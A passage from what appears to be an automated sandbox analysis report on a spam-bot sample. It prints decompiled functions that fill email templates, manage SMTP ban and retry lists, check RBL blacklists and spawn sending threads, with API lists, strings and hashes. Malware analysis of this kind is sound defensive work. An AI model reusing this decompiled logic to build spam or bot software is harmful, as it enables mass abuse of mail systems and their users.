				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s%d, xrefs: 0040AE58
%OUTLOOK_HST, xrefs: 0040AEC5
%OUTLOOK_MID, xrefs: 0040AEAE
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
127.0.0.1, xrefs: 0040ADEB

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 0041A68B, Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0041A720
_get_int64_arg.LIBCMTD ref: 0041A748
_write_multi_char.LIBCMTD ref: 0041AA2B
_write_string.LIBCMTD ref: 0041AA46
_write_multi_char.LIBCMTD ref: 0041AA72

Strings

9, xrefs: 0041A923

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$_write_string
String ID: 9
API String ID: 1168044824-2366072709
Opcode ID: 86bcf3803df4f54f6edf97cb3c94d541a5bf311eef6541161e8a90447d08e11f
Instruction ID: eda544ec9e3a52b94f13b6d83825cc0f693ccc93d71bc4d6a11cb39161506460
Opcode Fuzzy Hash: 86bcf3803df4f54f6edf97cb3c94d541a5bf311eef6541161e8a90447d08e11f
Instruction Fuzzy Hash: FCF14BB1E012199FDB24CF54C891BEEB7B1BF84314F14419AE209A7281D738AED5CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

ps, xrefs: 0040F375, 0040F3A0
time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: ps$time_cfg
API String ID: 311057483-1008165782
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

86A, xrefs: 0040BF98
smtp_ban, xrefs: 0040BE55, 0040BF77
smtp_herr, xrefs: 0040BE46, 0040BF62
46A, xrefs: 0040BF85
06A, xrefs: 0040BF70
smtp_retr, xrefs: 0040BE61, 0040BF8C

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%TO_HASH, xrefs: 0040B4B0
%FROM_USER, xrefs: 0040B431
%P5DATE, xrefs: 0040B4F2
%TO_EMAIL, xrefs: 0040B473
%M5DATE, xrefs: 0040B50F
%DATE, xrefs: 0040B4D2
%FROM_DOMAIN, xrefs: 0040B41E
%FROM_EMAIL, xrefs: 0040B3E9
%TO_USER, xrefs: 0040B488
%TO_DOMAIN, xrefs: 0040B44B
%s@%s, xrefs: 0040B461

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

rbl_ip, xrefs: 0040218F
rbl_bl, xrefs: 00402181
net_type, xrefs: 004021DF
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D410, Relevance: 16.6, APIs: 11, Instructions: 81memorythreadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0041D43C
GetPrivateProfileIntW.KERNEL32(00424F14,00424EDC,00000000,00424E40), ref: 0041D45F
GetThreadPriority.KERNEL32(00000000), ref: 0041D473
GetSystemWindowsDirectoryA.KERNEL32(?,00000400), ref: 0041D485
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 0041D496
GetCommandLineA.KERNEL32 ref: 0041D49C
GetStartupInfoW.KERNEL32(00000000), ref: 0041D4A4
QueryMemoryResourceNotification.KERNEL32(00000000,?), ref: 0041D4B3
InterlockedIncrement.KERNEL32(?), ref: 0041D518
SetCurrentDirectoryW.KERNEL32(00424F4C), ref: 0041D523
HeapWalk.KERNEL32(00000000,00000000), ref: 0041D573

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: DirectoryInfo$CommandCurrentErrorHeapIncrementInterlockedLastLineMemoryNotificationPriorityPrivateProfileQueryResourceStartupSystemThreadWalkWindows
String ID:
API String ID: 2956612942-0
Opcode ID: 9bdaec012a87f3ee3027d7db46d3ea595b1ceed600865dc790454f98adc7bad3
Instruction ID: 6de484be58fe5f33a7336edf1f23136cf8dcd1826068998e00b9ef544d672e5c
Opcode Fuzzy Hash: 9bdaec012a87f3ee3027d7db46d3ea595b1ceed600865dc790454f98adc7bad3
Instruction Fuzzy Hash: ED31B2B0D40224EBDB209F51DD09BDD7B71BB5430AF5081A6F60956180CBB86AD4DF2E

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
